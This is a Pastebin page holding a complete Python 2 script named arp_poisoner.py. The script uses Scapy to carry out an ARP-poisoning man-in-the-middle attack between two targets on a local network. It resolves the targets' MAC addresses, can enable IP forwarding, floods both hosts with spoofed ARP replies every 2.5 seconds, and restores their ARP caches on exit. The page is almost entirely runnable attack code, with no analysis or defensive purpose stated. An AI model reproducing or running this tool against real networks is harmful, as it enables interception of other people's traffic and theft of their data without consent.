The_Defalt

arp_poisoner.py

Dec 31st, 2017
889
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #! /usr/bin/python
  2.  
  3.  
  4. try:
  5.     from logging import getLogger, ERROR
  6.     getLogger('scapy.runtime').setLevel(ERROR)
  7.     from scapy.all import *
  8.     conf.verb = 0
  9. except ImportError:
  10.     print "[!] Failed to Import Scapy"
  11.     sys.exit(1)
  12.  
  13. class PreAttack(object):
  14.     def __init__(self, target, interface):
  15.         self.target = target
  16.         self.interface = interface
  17.     def get_MAC_Addr(self):
  18.         return srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=self.target), timeout=10, iface=self.interface)[0][0][1][ARP].hwsrc
  19.     class toggle_IP_Forward(object):
  20.         def __init__(self, path='/proc/sys/net/ipv4/ip_forward'):
  21.             self.path = path
  22.         def enable_IP_Forward(self):
  23.             with open(self.path, 'wb') as file:
  24.                 file.write('1')
  25.             return 1
  26.         def disable_IP_Forward(self):
  27.             with open(self.path, 'wb') as file:
  28.                 file.write('0')
  29.             return 0
  30.  
  31. class Attack(object):
  32.     def __init__(self, targets, interface):
  33.         self.target1 = targets[0]
  34.         self.target2 = targets[1]
  35.         self.interface = interface
  36.     def send_Poison(self, MACs):
  37.         send(ARP(op=2, pdst=self.target1, psrc=self.target2, hwdst=MACs[0]), iface=self.interface)
  38.         send(ARP(op=2, pdst=self.target2, psrc=self.target1, hwdst=MACs[1]), iface=self.interface)
  39.     def send_Fix(self, MACs):
  40.         send(ARP(op=2, pdst=self.target1, psrc=self.target2, hwdst='ff:ff:ff:ff:ff:ff', hwsrc=MACs[0]), iface=self.interface)
  41.         send(ARP(op=2, pdst=self.target2, psrc=self.target1, hwdst='ff:ff:ff:ff:ff:ff', hwsrc=MACs[1]), iface=self.interface)
  42.  
  43. if __name__ == '__main__':
  44.     import sys
  45.     import argparse
  46.     from datetime import datetime
  47.     from time import sleep as pause
  48.     parser = argparse.ArgumentParser(description='ARP Poisoning Tool')
  49.     parser.add_argument('-i', '--interface', help='Network interface to attack on', action='store', dest='interface', default=False)
  50.     parser.add_argument('-t1', '--target1', help='First target for poisoning', action='store', dest='target1', default=False)
  51.     parser.add_argument('-t2', '--target2', help='Second target for poisoning', action='store', dest='target2', default=False)
  52.     parser.add_argument('-f', '--forward', help='Auto-toggle IP forwarding', action='store_true', dest='forward', default=False)
  53.     parser.add_argument('-q', '--quiet', help='Disable feedback messages', action='store_true', dest='quiet', default=False)
  54.     parser.add_argument('--clock', help='Track attack duration', action='store_true', dest='time', default=False)
  55.     args = parser.parse_args()
  56.     if len(sys.argv) == 1:
  57.         parser.print_help()
  58.         sys.exit(1)
  59.     elif ((not args.target1) or (not args.target2)):
  60.         parser.error("Invalid target specification")
  61.         sys.exit(1)
  62.     elif not args.interface:
  63.         parser.error("No network interface given")
  64.         sys.exit(1)
  65.     start_Time = datetime.now()
  66.     targets = [args.target1, args.target2]
  67.     print '[*] Resolving Target Addresses...',; sys.stdout.flush()
  68.     try:
  69.         MACs = map(lambda x: PreAttack(x, args.interface).get_MAC_Addr(), targets)
  70.         print '[DONE]'
  71.     except Exception:
  72.         print '[FAIL]\n[!] Failed to Resolve Target Address(es)'
  73.         sys.exit(1)
  74.     try:
  75.         if args.forward:
  76.             print '[*] Enabling IP Forwarding...',; sys.stdout.flush()
  77.             PreAttack.toggle_IP_Forward().enable_IP_Forward()
  78.             print '[DONE]'
  79.     except IOError:
  80.         print '[FAIL]'
  81.         try:
  82.             choice = raw_input('[*] Proceed with Attack? [y/N] ').strip().lower()[0]
  83.             if choice == 'y':
  84.                 pass
  85.             elif choice == 'n':
  86.                 print '[*] User Cancelled Attack'
  87.                 sys.exit(1)
  88.             else:
  89.                 print '[!] Invalid Choice'
  90.                 sys.exit(1)
  91.         except  KeyboardInterrupt:
  92.             sys.exit(1)
  93.     print '[*] Launching Attack...\n'
  94.     while 1:
  95.         try:
  96.             try:
  97.                 Attack(targets, args.interface).send_Poison(MACs)
  98.             except Exception:
  99.                 print '[!] Failed to Send Poison'
  100.                 sys.exit(1)
  101.             if not args.quiet:
  102.                 print '[*] Poison Sent to %s and %s' %(targets[0], targets[1])
  103.             else:
  104.                 pass
  105.             pause(2.5)
  106.         except KeyboardInterrupt:
  107.             break
  108.     print '\n[*] Fixing Targets...',; sys.stdout.flush()
  109.     for i in range(0, 16):
  110.         try:
  111.             Attack(targets, args.interface).send_Fix(MACs)
  112.         except (Exception, KeyboardInterrupt):
  113.             print '[FAIL]'
  114.             sys.exit(1)
  115.         pause(2)
  116.     print '[DONE]'
  117.     try:
  118.         if args.forward:
  119.             print '[*] Disabling IP Forwarding...',; sys.stdout.flush()
  120.             PreAttack.toggle_IP_Forward().disable_IP_Forward()
  121.             print '[DONE]'
  122.     except IOError:
  123.         print '[FAIL]'
  124.     if args.time:
  125.         print '[*] Attack Duration: %s' %(datetime.now() - start_Time)
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×